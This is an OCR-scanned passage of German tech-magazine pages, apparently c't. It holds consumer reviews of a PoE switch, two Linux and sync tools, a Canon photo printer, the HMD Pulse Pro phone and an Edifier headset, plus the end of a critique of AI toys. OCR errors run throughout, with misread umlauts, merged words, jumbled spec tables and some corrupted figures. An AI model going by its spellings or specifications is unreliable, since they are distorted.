verschiedenen Griinden hochst problema-
tisch - nicht nur, weil sie gegen hiesige Ge-
setze verstofden. Dass der Hersteller die
Produkte bereits verkauft, obwohl die Soft-
ware noch voller Fehler steckt und zum
Betatest mit Kleinkindern aufruft, zeigt,
wie skrupellos manche Firmen derzeit mit
dem KI-Hype Geld verdienen wollen. Um
mit Kindern anregende und kindgerechte
Gesprache zu fiihren, reicht ein simpler
Wortfilter nicht aus. Die hyper-aufgeregte
Stimmlage, das hohe Sprechtempound die
Nonsense-Themen, die sich nach kurzer
Zeit im Kreis drehen, sind fiir die Kleinen
vielleicht fiir zehn Minuten interessant.
Dann merken auch sie, dass eine Maschine
keinen echten Gesprichspartner ersetzen
kann-selbst wenn irgendwann alle Kinder-
krankheiten behoben wiren.

Es ist zu beflirchten, dass bald noch
viel mehr solcher fragwiirdigen KI-Spiel-
zeuge auf den Markt kommen. Sollten
Thnen Falle mit versteckten Abhorfunktio-
nen auffallen, konnen Sie diese der Bun-
desnetzagentur per E-Mail an spionage
geraete@bnetza.de melden.

(hag@ct.de) c&

Curio Grok, Grem & Gabbo

Hersteller Curio, heycurio.com
Anschliisse USB-C, WLAN
Betriebssysteme Beta-Apps fiir Android, i0S
Preis 99 US-Dollar plus Steuern
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Es gibt 10 Arten
von Menschen.

iX-Leser
und die anderen.

Jetzt Mini-Abo testen:

3 digitale Ausgaben +
Bluetooth-Tastatur
nur 19,35 €

www.iX.de/digital-testen

@ www.iX.de/digital-testen
5 leserservice@heise.de
R, 49 (0)541800 09 120

Test & Beratung | Outdoor-Gigabit-Switch

Luftiger Netz-
werkverteiler

Der BT14GW-A von MokerLink nennt
sich ,,PoE Extender” und reicht Giga-
bit-Ethernet inklusive Spannungsver-
sorgung von einem Uplink-Kabel an
bis zu vier Gerate durch.

Wer im Aufdenbereich nur ein Netzwerk-
kabel hat, aber mehrere benétigt, steht oft
vor der Frage: ein weiteres Loch bohren,
WLAN einsetzen oder verzichten? Nichts
davon, man besorgt sich besser einen
Power-over-Ethernet-gespeisten, wetter-
festen Switch mit Durchleitungsfunktion.
Statt mit etwa 12 Volt per Steckernetzteil
kommt die Energie mit 42 bis 57 Volt iber
die Twisted-Pair-Netzwerkleitung und
versorgt den Switch sowie angeschlossene
Gerite. Die Schlagbohrmaschine kannim
Koffer bleiben.

Seit Kurzem tauchen solche Gerite
vermehrt in glinstig als ,,PoE Extender*
oder ,PoE Repeater” bei Amazon & Co.
auf. Wir haben uns den BT14GW-A der
chinesischen Firma MokerLink iber Ama-
zon besorgt. Der Verteiler sticht heraus,
weil er nur 30 Euro kostet, IP55-konform
sein soll und fiinf Gigabit-Ports besitzt,
wovon einer als Uplink dient und bis zu
90 Watt entgegennimmt. Das entspricht
Class 8 und damit dem Limit desneuesten
Power-over-Ethernet-Standards IEEE
802.3bt. Der erste Downlink-Port liefert
PoE nach 802.3bt Class 6, also 60 Watt,
die drei verbleibenden Ports 802.3at
(30 Watt).

Der Switch besitzt keine Verwaltungs-
funktionen. Ein Schalter erlaubtlediglich,
alle Ports gegeneinander zu isolieren, so-
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dass diese nur mit dem Up-
linkkommunizieren konnen.
MokerLink nennt das irre-
fiilhrenderweise ,,VLAN“
und nicht wie iiblich ,,Port
Isolation®, erkldrt die Funk-
tion aber unmissverstand-
lich in der Produktbeschrei-
bung.

Mangels 802.3bt-Senke
haben wir den BT14GW-A
mit vier stromhungrigen Ac-
cess-Points (bis zu 20 Watt
pro Stiick) getestet, wobei er
keine Anzeichen von Schwi-
che erkennen lie3. Wie an-
gegeben sind alle Ports Giga-
bit-fahig, bestitigte unser
iPerf-Benchmark.

Der Anblick des Gehiduses ist indes
unschon: Der Switch haust in einem
Schlitten, der in eine Haube eingescho-
ben wird. Zwischen den zwei Kabelein-
fiihrungen ohne Gummilippen sitzt eine
vergleichsweise grofie Rastnase inklusive
Nut, die man mit Daumen und Zeigefin-
ger hochziehen kann. IP55-konform, also
Schutz vor Staub und Strahlwasser aus
allen Richtungen bietend, ist das sicher
nicht. Wer den Verteiler an einem wetter-
exponierten Ort montiert, muss damit
rechnen, dass bei windigen Unwettern
durch Spalten Feuchtigkeit bis auf die
Platine gelangt. Fiir verntinftige Gummi-
lippen und eine kleine Rastnase zum Off-
nen per Schlitzschraubendreher hitten
wir gerne ein paar Euro mehr ausgege-
ben.

Der BT14GW-A hilt fast alles, was der
Hersteller verspricht, und das zu einem
guten Preis. Das Gehiuse ist jedoch am
Anwendungsfall vorbei konstruiert. Wir
wiirden hochstens einfachen Regenschutz
attestieren. Im Gartenhiuschen oder an
sonstigen windgeschiitzten Orten diirfte
der Verteiler aber unbeschadet arbeiten.

(amo@ct.de)

MokerLink BT14GW-A

Hersteller, URL MokerLink, mokerlink.com

Schnittstellen (RJ45) 1 x Gigabit-Uplink, 4 X Gigabit-Downlink
Bedienelemente VLAN-Schalter, 5 X LED

MaRe 15x10%x 3,5¢m

Leistungsaufnahme! 1,5 Watt

Preis 30€

nur Uplink-Port belegt
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System im Blick

Das Linux-Tool Mission Center zeigt
mit Graphen, wie es um die Auslas-
tung von CPU, GPU, Netzwerk und
Festplatte steht und verrit, welche
Ressourcen laufende Apps und Pro-
zesse beanspruchen.

Wenn das System trige wird, finden Sie mit
den Diagrammen des grafischen System-
monitors Mission Center schnell heraus,
welcher der schuldige Prozess ist. In der
Seitenleiste wechseln Sie dhnlich wie im
Windows Task Manager zwischen CPU,
Arbeitsspeicher, Datentragern, Netzwerk-
Interfacesund GPU. Beider CPU sehen Sie
wahlweise die Gesamtauslastung oder
jedenlogischen Kern einzeln. Das Tool be-
reitet den Datendurchsatz von Ethernet
und WLAN einzeln auf und zeigt, inwie-
weit die Grafikkarte zum En- oder De-
coding von Videos verwendet wird. Ein
Rechtsklick aufs Diagramm und ,,Kopie-
ren” verfrachtet die aktuellen Daten samt
Hardwarebezeichnung und allen Details
in die Zwischenablage.

Die Graphen zeigen auf einen Blick,
wo eseng wird. Der Bereich ,, Apps® verrit
sofort die Programme, die den Prozessor
blockieren oder den Arbeitsspeicherin Be-
schlagnehmen. Welche Prozesse eine App
jeweils gestartet hat, verrit ein Klick auf
den kleinen Pfeilbutton vor dem Namen.
Per Rechtsklicklasst sich eine Anwendung
stoppen oder das Beenden erzwingen.
Wem systemd-Befehle fremd sind, der
kann sogar Systemdienste unter ,,Dienste”
starten und stoppen.

Mission Center besticht nicht nur mit
dem schnellen Uberblick {iber das laufen-
de System, sondern ist auch einfach zu
bedienen. (Imd@ct.de)

Mission Center 0.5.2

Hersteller, URL  Romeo Calota, missioncenter.io
Systemanf. Linux
Preis (Lizenz)  kostenlos (Open Source)
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Sync ohne Cloud

Mit dem Open-Source-Tool Syncthing
Tray synchronisieren Sie Dateien
ohne Cloud zwischen lhren Geriten.
Es ist nicht nur eine Tray-App fiir
Syncthing, es erleichtert auch des-
sen Einrichtung erheblich.

Syncthing haben wir in ¢’t schon mehrfach
erwihnt: Das zuverldssige Sync-Tool hélt
Ordner auf allen Geriten auf demselben
Stand. Die Verwendung kannjedoch etwas
knifflig sein, weil Syncthing als Dienst an-
gelegt ist, der unsichtbar im Hintergrund
lauft. Um ihn zu steuern, muss man ein
Webinterface im Browser 6ffnen. Deutlich
leichterzuhdndelnist der Dienst mit Sync-
thing Tray, das es fiir alle gingigen Desk-
topbetriebssysteme gibt. Wir haben es
unter Windows 11 getestet.

Wie der Name schon vermuten lésst,
spendiert das Tool Syncthing ein Icon im
Tray-Bereich der Taskleiste. Klickt man
darauf, 6ffnet sich eine deutschsprachige
Bedienoberfliche, tiber die man die wich-
tigsten Synchthing-Funktionen im Blick
behalten und steuern kann, ohne das Web-
interface 6ffnen zu miissen. So kann man
zum Beispiel die Synchronisation pausie-
ren, die verkniipften Gerite inspizieren
sowie Ubertragungen und Anderungen
iiberwachen. Ein Rechtsklick aufdas Tray-
Symbol geniigt, um bequem das Webinter-
face zu 6ffnen oder Syncthing anzuweisen,
alle Ordner auf Anderungen zu scannen.

Wer Syncthing nicht hat, kann die in
das Tray-Tool integrierte portable Version
verwenden; eine Installation ist somit also
nicht notig. Auf Wunsch klinkt sich Sync-
thing Tray in den Autostart ein. (rei@ct.de)

Syncthing Tray

Hersteller, URL  Marius Kittler, martchus.github.io/syncthingtray
Systemantf. Windows 10 oder hdher, macOS, Linux
Preis kostenlos (GPLv2)
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Test & Beratung | Multifunktionstintendrucker

Foto-Vielkonner

Multifunktionsdrucker mit randlosem

A3-Druck

Der Canon Pixma TS9550a be-
druckt liber seinen hinteren Ein-
zug Normal- und Fotopapiere bis
DIN A3 und ist mit fiinf Einzeltin-
ten auf Fotowiedergabe speziali-
siert. Mit einem Trick fertigt der
A4-Scanner auch A3-Kopien.

Von Rudolf Opitz

er Pixma TS9550a braucht nur wenig
mehr Stellfliche als ein A4-Multi-
funktionsdrucker. Er ersetzt das nahezu
baugleiche Modell TS9550. Die frontale

72

Papierkassette nimmt nur Normalpapier
bis DIN A4 auf, der hintere Einzug eignet
sich auch fiir Umschlage, dickeres Foto-
papier und Papiere im A3-Format. Der
Flachbettscanner und der einfache Sim-
plex-Vorlageneinzug fiir bis zu 20 Blatt
bearbeiten maximal A4-Vorlagen, auch
das automatische Wenden der Drucksei-
ten klappt nur bis A4.

Um die Ablage auszuziehen, muss
man das Bedienpanel hochklappen, dasdie
gesamte Geritebreite einnimmt. Aufder
der Power-Taste tragt es nur einen grofden
Touchscreen, der wie bei Smartphones
kapazitivistund per Finger oder einem leit-
fahigen Spezialstift bedient werden kann.
Die Fingerbedienung klappt dank grofier
Schaltflachen problemlos. Direkt iiber der

Ablage findet sich ein Relikt aus vergange-
ner Zeit: ein Spezialeinzug fiir eine Schab-
lone, die bedruckbare CD/DVD- oder Blu-
ray-Rohlinge aufnimmt.

Die Prioritit des Pixma TS9550a liegt
auf dem Fotodruck: Statt einer USB-Host-
Buchse zum Drucken von und Scannen auf
Speichersticks, die manche Biirogerite [1]
haben, besitzt er einen SD-Slot fiir SDHC-
und SDXC-Karten, von denen er Fotos in
den Formaten JPEG und TIFF druckt. Als
Speicherziel flir Scans kann man die SD-
Karte aber nicht auswahlen. AufSerdem
kennt der Pixma-Drucker noch PictBridge.
Digitalkameras mit WLAN finden das
Gerit im lokalen Netz und iibertragen die
Aufnahmen direkt. Der TS9550a spannt
dazu ein eigenes Funknetz auf (Wi-Fi Di-
rect), nutzt WLAN aber auch, um sich mit
demlokalen Netzwerk zu verbinden. Wahl-
weise bietet er eine Ethernet-Buchse oder
den obligatorischen USB-2.0-Port zum di-
rekten Kontakt mit einem bestimmten PC.

Fototinte

Der Pixma TS9550a druckt mit Canons
ChromalLife-100-Fototinten: dem pig-
mentierten Schwarz PGI580 fiir den Text-
druck und vier CLI581-Dye-Tinten (Foto-
schwarz, Cyan, Magenta und Gelb). Dye-
Tinten bestehen nur aus fliissigen Farb-
stoffen. Sie lassen sich fiir Mischfarben gut
iibereinander drucken, feste Pigmente
wiirden die darunter liegende Farbe ver-
decken. Im Test druckte das Canon-Gerit
eine IT8-Normvorlage mit einer maxima-
len Farbabweichung (Delta-E) von 18,8
und einer mittleren Abweichung von 6.
Damit gibt es Farben genauer wieder als
viele Fotodruckdienste. Abweichungen
unter 10 fallenin der Regel nur geschulten
Augen als andere Farbe auf.

Der grofdte Nachteil von Dye-Tinten
ist deren Lichtempfindlichkeit: Im Son-
nenlicht bleichen sie schnell aus. Nach
100 Stunden in unserem Tageslichtsimu-
lator, was etwa einem Jahr im Sonnenlicht
hinter Fensterglas entspricht, sahen die
Testdrucke auf Normalpapier extrem blass
aus, die auf gutem Fotopapier liefden nur
leicht in Gelb- und Rottonen nach. Die
Gelschicht des Fotopapiers schiitzt die
Farben. Die Tintenkosten liegen mit 14,7
bis 16,4 Cent (XXL/XL-Patronen) fiir eine
ISO-Normseite und 27,9 Cent bis 31,7 Cent
fiir ein 10x15-Foto im oberen Bereich.

Der TS9550a bedruckt wie alle Pix-
ma-Modelle auch Normalpapier randlos,
doch dann nur in sehr blasser und streifi-
ger Standardqualitit. Auch mit Rand bei
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hoher Qualitit zeigten Farbflichen wie
Hintergriinde viele weifde Piinktchen und
leichte Streifen: Die Dye-Tinten decken
nicht gut. Auf Fotopapier ist die Qualitit
dagegen fiir einen Drucker dieser Preis-
klasse beeindruckend: kontrastreiche Far-
ben und gute Detailwiedergabe auch in
dunklen Bildbereichen. Lediglich die Ten-
denz zu kiihlen Blautonen, die sogar bei
Schwarz-Weif3-Bildern auffielen, diirfte
nicht jedermanns Geschmack sein.

Bei Alltagsdrucksachen wie Briefen
und Formularen schligt sich der Pixma
TS9550a wacker, kann es aber nicht mit
Biirogeriten aufnehmen: Die Geschwin-
digkeit ist mit knapp 12 Seiten pro Minute
mafigund unter der Lupe sieht man stér-
ker ausgefranste Buchstabenkanten als bei
den stark pigmentierten Tinten der Biiro-
drucker. Der tintesparende Entwurfs-
druck ist allerdings gut lesbar und die
beste Textqualitit mit blofem Auge gut.
Leider sind die Drucke aber nicht sehr
wischfest; vor dem Bearbeiten mit dem
Textmarker sollte man sie langer trocknen
lassen. Das macht der Pixma beim Du-
plexdruck auch selbst: Bevor er die Riick-
seite bedruckt, legt er eine Trockenpause
von 15 Sekunden ein. Grafiken brachte der
TS9550aim Test bis auf ein zu helles Blau
sehr sauber zu Papier.

Die Schablone fiir den Labeldruck di-
rekt auf beschichtete CD/DVD-Rohlinge
parkt unter der Papierkassette. Mit der
PC-Software ,,Easy PhotoPrint Editor"
entwirft man ein Label und gibt die Rén-
der vor. Nach aufden erlaubt das Gerit
maximal 118 Millimeter, wodurch bei
komplett beschichteten Medien (bis 120
mm) ein weifder Rand bleibt. Im Test fielen
zudem leichte Zentrierfehler und Trans-
portspuren auf. Labels lassen sich auch
direkt von einem auf dem Flachbettscan-
ner liegenden Medium kopieren.

Schwarz-Weif3-Kopien fertigt der
TS9550a etwas flotter als Farbkopien. Bei
Text fielen Tintentropfchen um die Buch-
stabenkanten auf, Kopien von grafischen
Objekten gefielen mit ihren feinen Details
besser. Der langsame Vorlageneinzug
bremst den Drucker deutlich aus. Fiir dop-
pelseitige Kopien muss man die Vorlagen
zuriickin den Einzuglegen, beim Ausrich-
ten gibt der Touchscreen Hilfestellung.
Sogar A3-Kopien gelingen mit der integ-
rierten Stitching-Funktion: Zunichst
scannt man nach Anleitung auf dem Dis-
play die obere, dann die untere Hélfte der
A3-Vorlage. Der TS9550a setzt die Scans
zusammen und druckt die A3-Kopie aus,
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was im Test gut klappte. Gut gefielen uns
auch die randlosen Kopien von Fotos.
Der Scanner digitalisierte Fotos mit
stimmigen, aber kiihlen Farben, einige
dunkle Details verschwanden im Schwarz.
Canons Scan-Utility erstellt auch durch-
suchbare PDFs, doch machte die Texter-
kennung selbst bei 12-Punkt-Standard-
schriften einige Fehler und versagte bei
grofleren und kleinen Schriften vollig.

Fazit

Als Heimdrucker fiir Aufgaben im Ho-
meoffice eignen sich dedizierte Biiromo-

Canon Pixma TS9550a

delle etwa aus Canons Maxify-Serie bes-
ser. Schon die hohen Tintenkosten des
Canon Pixma TS9550a sprechen eher fiir
Anwender mit geringem Druckaufkom-
men. Wer aber einen flexiblen Familien-
fotodrucker mit vielen praktischen Zusatz-
funktionen und guter Druckqualitat bei
Fotos und Grafik wiinscht, wird mit dem
Pixma TS9550a zufrieden sein.
(rop@ct.de) c&
Literatur
[1]1 Rudolf Opitz, Flexible GroBbeschrifter, Biirotaug-

liche Tintenmultifunktionsdrucker bis DIN A3 im
Test, c't 13/2024, S. 76

Fototauglicher Tintenmultifunktionsdrucker mit Randlosdruck bis DIN A3

Hersteller Canon, canon.de
Druckverfahren / Tinten

Max. Auflosung (Fotodruck)*
Papiergewichte!

Papierzufuhr' / Ablage

autom. Duplexdruck / randloser Fotodruck
Scannertyp / Farbtiefe Farbe, Graustufen’ CIS / 24 Bit, 8 Bit

Auflosung physikalisch*

Vorlageneinzug / Duplex 20 Blatt bisAd4 / —
Twain- / WIA-Modul Vv
Scan to E-Mail / Cloud / FTP / SMB-Freigabe VIV =]—-

Druck-App /AirPrint / Android Print / Mopria
Cloud-Dienst des Herstellers

2400 dpi x 1200 dpi

Bubblejet / 5 Patronen inkl. Fotoschwarz, kein Print-Plan-Tintenabo
4800 dpi x 1200 dpi

64 g/m? ... 300 g/m?

100-Blatt-Kassette, 100-Blatt-Einzug hinten (A3: 50 Blatt) / 50 Blatt
v/ (bisAd) / v/ (bisA3)

Canon Print (Android, i0S) / v / Canon Print Service / v/
1J Cloud Printing Center

omiges |

Schnittstellen

Betriebsmafe (B X T X H), Gewicht
Display

Treiber

Software (Windows)
Speicherkarten / USB-Host
Besonderheiten

USB 2.0, Ethernet, WLAN (IEEE802.11a, 2,4 GHz), Wi-Fi Direct

45 cm x 83 cm x 23,5 ¢m, 9,7 kg

10,8-cm-Touchscreen, kapazitiv

ab Windows 7 SP1, macOS ab 10.11, Linux (generischer Treiber)

Canon 1) Scan Utility, Printer Assistant Tool, Easy Photo Print, Easy Layout, Poster Artist
SD-Card (HC und XC) / —

Direktdruck von beschichteten CD-/DVD-/Blu-ray-Rohlingen

Schwarz (Reichweite?)
Farbe (Reichweite')
Tintenkosten (XXL-Patronen)

PGI-580 (Pigmentschwarz filr Text); CLI-581 (Fotoschwarz, nur Bilder)
CLI-581 C,M,Y; alle Patronen auch als XL- und XXL-Versionen
ISO-Farbseite 14,66 Cent (Schwarzanteil 4,5 Cent), 10x15-Foto: 27.9 Cent

Druckzeiten
min,A3: 8:10 min

Druckleistung [ISO-Seiten / Minute]
[T8-Farbabweichung Minimal / Mittel / Maximal 0,4 / 6/ 18.8

Kopierzeiten
tat: 2:22 min

Scanzeiten

Gerduschentwicklung [sone]

Leistungsaufnahme

Bedienung / Netzwerkfunktionen ®/®

Text- / Grafikdruck ®/®
Fotodruck (Foto- / Normalpapier / SD-Card/ @/ O/@®/©
Mobil-App)

Kopierqualitét Text / Grafik / Foto O/®/®
Scanqualitét Foto / Grafik / OCR O/®/66
Lichtbestandigkeit Normal- / Fotopapier CO/®

Herstellergarantie

Geratepreis (UVP / StraRe) 205€/230€

10 Seiten Duplex (Normal): 3:07 min, 50 Seiten gemischt: 10:35 min, Foto (Beste) Ad: 4:48

Entwurf: 11,5 / Standard: 11,5 / Standard A3: 4,3 / Leise-Modus: 4,1 / Hoch: 1,6

10 Kopien SW: 0:48 min, Farbe: 1:09 min / 10 ADF-Kopien: 2:49 min / A4-Foto hohe Quali-

Vorschau: 7 s, Foto 600 dpi: 58 s, Text 300 dpi: 19 s
Drucken: 5,7 / Drucken leise: 3,2 / ADF-Scan: 2,6 / ADF-Scan leise: 2,6
Aus: 0,14 W / Sleep: 1,2 W / Bereit: 4,6 W / Drucken: 22,3W

2 Jahre (Canon Online-Shop)

! Herstellerangabe @@ sehrgut @ gut O zufriedenstellend  © schlecht @@ sehr schlecht +/ vorhanden — nicht vorhanden
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Nokias

Totengraber

Einsteiger-Smartphone HMD Pulse Pro

im Test

Sein neues Smartphone-Modell
Pulse Pro bringt der Hersteller
HMD unter dem eigenen Namen
auf den Markt, der Nokia-
Schriftzug hat ausgedient. Ohne
Nokia bleiben allerdings sehr
wenige Kaufargumente.

Von Steffen Herget

D er ehemalige Handy-Konig Nokia ist
tot, nun verschwindet auch sein
Name. Auf dem MWC im Februar hatte
HMD den Wechsel des Namens zur eige-
nen Marke angekiindigt. Mit dem HMD
Pulse Pro geht esnunlos. Das Smartphone
verpacktdie Technikin einem sauber ver-
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arbeiteten Gehduse aus Kunststoff. Im
Einschaltknopf steckt ein flotter Finger-
abdrucksensor, an der Unterseite des
Telefons hat neben dem USB-Anschluss
eine 3,5-Millimeter-Klinkenbuchse ihren
Platz.

Einen Alleskonner darf man zum
Preisvon 170 Euronicht erwarten. Als Pro-
zessor steckt ein Unisoc Tiger T606 in
dem Smartphone, ein fast fiinf Jahre alter
Octa-Core-Chip, der mit einer maximalen
Taktfrequenzvon 1,6 GHz kaum die Wurst
vom Teller zieht. Die Kerne -zwei Cortex-
A75 und gleich sechs schwache Cortex-
A55-sind gar schon vor sieben Jahren auf
den Markt gekommen. In unserer Daten-
bank mussten wir weit zuriick scrollen, um
ahnliche schwache Benchmark-Werte zu
finden. Gelandet sind wir ausgerechnet
beim Nokia G21 aus dem gleichen Hause
und ebenfalls mit dem T606 im Bauch.

Schwache Benchmarks sind das eine,
lahme Performance im Alltag das andere.
Das Pulse Pro haktleider beide Punkte ab.
Es miiht sich deutlich, wenn man es auch
nur ein bisschen fordert.

Triibes Display

Das 6,6 Zoll grofde LCD stellt gerade einmal
1612 x 720 Pixel dar und erreicht nur eine
Helligkeit von knapp 450 cd/m?. Blickt man
vonder Seite auf den Bildschirm, verdunkelt
sich die Darstellung spitestens ab einem
Winkel von 45 Grad stark. Die Farbdarstel-
lung wirkt eher natiirlich als knallig, einzig
die Farbtemperatur ist einstellbar. Bei der
Bildwiederholrate ldsst der Hersteller die
Wabhl zwischen fest eingestellten 60 Hertz
oder adaptiver Regelung bis 90 Hertz.

Das Modem funkt nur im LTE-Netz,
5G-Netze lassen das Pulse Pro nicht rein.
Das wirkt sich im Alltag hier und da nach-
teilig auf den Empfang aus, selbst wenn
die derzeit genutzten Antennen meist iiber
LTE angebunden sind und 5G nur in der
NSA-Variante (Non-standalone) ankniip-
fen. Im WLAN schafft es Wi-Fi-5.

Das Pulse Pro trigt vorne und hinten
je eine 50-Megapixel-Kamera. Auf der
Riickseite hat aufderdem noch eine 2-Me-
gapixel-Kamera fiir Tiefeninformationen
ihren Platz. Die Hauptkamera macht bei
viel Licht meist brauchbare Schnapp-
schiisse. In Innenrdumen und spétestens
ab der Ddmmerung braucht es aber eine
ruhige Hand, um verwackelte Fotos zu ver-
meiden. In der aufgerdaumten Kamera-App
finden sich einige Filter fiir Portrits und
Hauttone, einen Pro-Modus fiir manuelle
Einstellungen gibt es nicht.

Im HMD Pulse Pro steckt ein fest ein-
gebauter Akku mit einer Kapazitit von
5000 mAh. Strom tankt er tiber den USB-
C-Anschluss mit maximal 20 Watt, draht-
loses Laden ist nicht moglich. Die Lauf-
zeiteninunseren vier Testszenarien lagen
durchweg auf'einem mittleren Niveau, als
ausgesprochener Langldufer entpuppte
sich das Smartphone nicht.

Nur drei Jahre Updates

Auf dem Pulse Pro lauft Android 14 mit
einer lediglich dezent angepassten Ober-
flache. Die Zahl der Bloatware-Apps ist
iiberschaubar, aufwendige Zusatzfunktio-
nen spendiert HMD dem Betriebssystem
nicht. Was die Updates angeht, behandeln
viele Hersteller ihre giinstigen Modelle
eher stiefmiitterlich. Das gilt auch fiir
HMD und das Pulse Pro: Zwei neue
Android-Versionen und vierteljahrliche
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Sicherheitspatches tiber drei Jahre verspricht der Hersteller. Noch
kommt man damit durch, ab Jahresende greift die EU-Richtlinie,
die flinf Jahre Softwarepflege zur Pflicht macht.

Ebenfalls durch die EU vorgeschrieben ist, dass Hersteller
sieben Jahre lang Ersatzteile fiir ihre Gerite vorhalten miissen.
In Sachen Reparierbarkeit zeigt sich HMD vorbildlich. Die Geri-
te sind so konstruiert, dass sich defekte Teile vergleichsweise
einfach tauschen lassen. Loblich, doch warum sollte man so ein
giinstiges Gerit nach ein bis zwei Jahren noch reparieren wollen?
Finanziell wird sich das kaum lohnen, und dann hingt bereits das
Damoklesschwert des Update-Endes iiber dem Kopf.

Fazit

Von einem Smartphone fiir weniger als 200 Euro kann man nicht
in allen Disziplinen sehr gute Leistungen erwarten, klar - aber ein
bisschen mehr als beim HMD Pulse Pro darf'es schon sein. Dazu
reicht ein Blick auf die Konkurrenz: Das Samsung Galaxy A25 etwa
hat einen deutlich schnelleren Prozessor und ein 120-Hertz-
OLED-Display mit mehr Auflésung, zudem funkt es im 5G-Netz.
Eskostet derzeit etwa 190 Euro. Das Redmi Note 13 spielt ebenfalls
in dieser Liga, auch in ihm steckt ein OLED-Panel mit 120 Hertz,
zudem treibt es ein Snapdragon 625 an, der viel mehr Power hat
als HMDs Unisoc-Chip. Beide Konkurrenten haben au3erdem
noch eine Ultraweitwinkelkamera. Mit dem Poco F6 und dem Moto
G84 tummeln sich noch weitere Fische im Teich, die auf dem
Papier mehr zu bieten haben als das Pulse Pro. (sht@ct.de) c

HMD Pulse Pro

Hersteller, URL HMD Global, hmd.com
Betriebssystem / Patchlevel Android 14 / Mai 2024

Funktionsupdates / Sicherheitspatches  Android 16 / Mai 2027
laut Hersteller bis mindestens

Ausstattung
Prozessor / Kerne X Takt / Grafik Unisoc Tiger 7606 / 8 X 1,6 GHz / ARM Mali-G57 MP1

Arbeitsspeicher / Flash-Speicher (frei) / 16 GByte / 128 GByte (128 GByte) / v/ (microSD)
Wechselspeicher (Format)

5G / LTE / SIMs — /v /2 x Nano-SIM

WLAN (Antennen) / Bluetooth / NFC / Wi-Fi5(2) / 5.0/ /' / GPS, Glonass, Beidou, Galileo
Kompass / Standort

USB-Anschluss / Kopfhdreranschluss / USB-C 2.0, 0TG / v/ / +/ (Einschalter)
Fingerabdrucksensor

Akku / wechselbar / drahtlos ladbar 5000 mAh / —/ —
MaBe (H X B xT) / Gewicht / Schutzart = 16,3cm X 7,5cm x 0,9 -1 cm / 196g / —

Diagonale / Technik / Auflésung / Punkt- 6,6 Zoll / LCD / 1612 X 720 Pixel / 270 dpi
dichte

Helligkeitsregelbereich / Ausleuchtung / 3,07 ... 446 cd/m? / 87,1 % / 90 Hz
max. Bildrate

Kaweras |
Hauptkamera Aufldsung / Blende / OIS~ 50 MP / /1,8 / —

Frontkamera Auflosung / Blende / 0IS 50MP/ f/1,8/—

Ladezeit 50 % / 100 % 0,7h/23h

Laufzeiten' lokales Video 720p / 3D-Spiel / 16,1 h/11,9h/12,8h
Stream

Geekbench V5 Single, Multi / V6 Single, 304, 1266 / 375, 1359
Multi

3DMark Wild Life / Sling Shot Extreme 427/ 9274521

GFXBench Car Chase / Manhattan 3.0 / 10 fps, 5 fps / 26 fps, 14fps / 18 fps, 9 fps
Manhattan 3.1 (je On-, Offscreen)

Preis 179 €
L gemessen bei 200 cd/m? und voller Auflosung v/ vorhanden  — nicht vorhanden
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Prazision

hinter Gittern

Bluetooth-Headset Edifier Stax Spirit
S5 mit magnetostatischen Wandlern

Dank magnetostatischer Wand-
ler soll das Edifier Stax Spirit S5
praziser klingen als Kopfhoérer
mit dynamischen Wandlern.

Von Hartmut Gieselmann

(X ]
blicherweise leiten Kopfhorer elekt-

rische Signale durch eine Spule, die
im Feld eines Magneten schwingt und
diese Schwingungen iiber eine trichter-
férmige Membran in Schallwellen um-
wandelt. Diese sogenannten dynamischen
Schallwandler sind sehr einfach und ro-
bust aufgebaut. Um Signale moglichst
prizise wiederzugeben, miissen Membran
und Spule unter anderem moglichst wenig
Masse haben. Denn je grofier die Masse,
desto trager reagieren sie auf Impulse.

Ein magnetostatischer Wandler
kommt ohne Spule aus. Bei ihm schwingt
eine hauchdiinne Folie mit aufgedampften
Leiterbahnen zwischen zwei Gittern aus
Magnetstaben. Die Folie ist deutlich leich-
ter als bei einem dynamischen Wandler
und kann daher schneller und genauer auf
Impulse reagieren. Der Nachteil ist, dass
die Magnete ein starkes Feld erzeugen
miissen. Die ersten magnetostatischen
Wandler waren daher sehr klobig und
schwer.

Edifier hat im Stax Spirit S5 leichte
Magnete eingebaut, mit 350 Gramm wiegt
der Bluetooth-Kopthorer nicht mehr als
andere geschlossene Kopthorer. Die ver-
besserte Impulswiedergabe macht sichim
Hortest bemerkbar. Selbst in sehr dichten
Arrangements arbeitet der S5 einzelne
Instrumente klar heraus, sodass man
ihrem Klang leichter folgen kann. Wo
Apples Airpods Max eine Kickdrum etwas
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matschig tiberbetonen, bekommt man
hierauchim tiefsten Frequenzkeller einen
sauber definierten Tritt.

Um feine Klangnuancen herauszuar-
beiten, hat Edifier Frequenzen oberhalb
von 10 kHz ordentlich angehoben. Das
Ergebnisist ein detailreicher, aber auflan-
gere Strecken auch etwas harter Sound.
Die Klangcharakteristik hidngt von den
Polstern ab. Edifier liefert ein Paar Leder-
polster und ein Paar Stoffpolster mit dar-
unterliegenden Kiihlpads mit. Durch die
Lederpolster betont der S5 den Bereich um
200 Hz deutlich stirker und bricht bei 500
Hz ein. Mit den Stoffpolstern verlauft der
Frequenzgang wesentlich flacher und fiir
unseren Geschmack ausgewogener.

In der zugehorigen Mobil-App (An-
droid/iOS) kann man die Klangcharakte-
ristik an die Pads anpassen. Bei ,Leather
ist der Verlauf flacher, ,,Mesh“ senkt die
Frequenzen bei 500 Hz starker ab. Dari-
berhinauslisst sich die Klangcharakteris-
tik iiber einen Equalizer mit vier parame-
trischen Filtern beeinflussen. Die passive
Dampfung ist gut, eine aktive Gerdusch-
unterdriickung (ANC) fehlt allerdings.

An Anschlussmoglichkeiten ist alles
vorhanden: Der Bluetooth-Chip QCC5181
von Qualcomm ermdglicht es beineueren
Android-Smartphones, iiber die beiden

Mit den Stoffpolstern (rot) verlauft der
Frequenzgang deutlich flacher als mit
den Lederpolstern (blau). Im Vergleich
zum neutralen Sennheiser HD60O0 (gelb)
betont das S5 die Hohen oberhalb von
10 kHz.

eingebauten Mikrofone per aptX Aufnah-
men mit 32 kHz Abtastrate statt mit den
iiblichen 16 kHz anzufertigen. Aufderdem
kann er die Daten verlustfrei mit 1,2 MBit/s
iibertragen oder sich alternativ mit zwei
Bluetooth-Quellen parallel verbinden.

Fiir Apple-Gerite verwendet der S5
den AAC-Codec. Am Mac betrug die Aus-
gangslatenz 235 Millisekunden und im
umschaltbaren Game-Modusimmer noch
134 Millisekunden. Erst mit den mitgelie-
ferten Kabeln fiir USB und Klinke erreich-
te er fiir Musiker akzeptable Werte von
knapp 4 Millisekunden.

Doch egal, ob Bluetooth oder Kabel:
Die interne Elektronik muss immer ein-
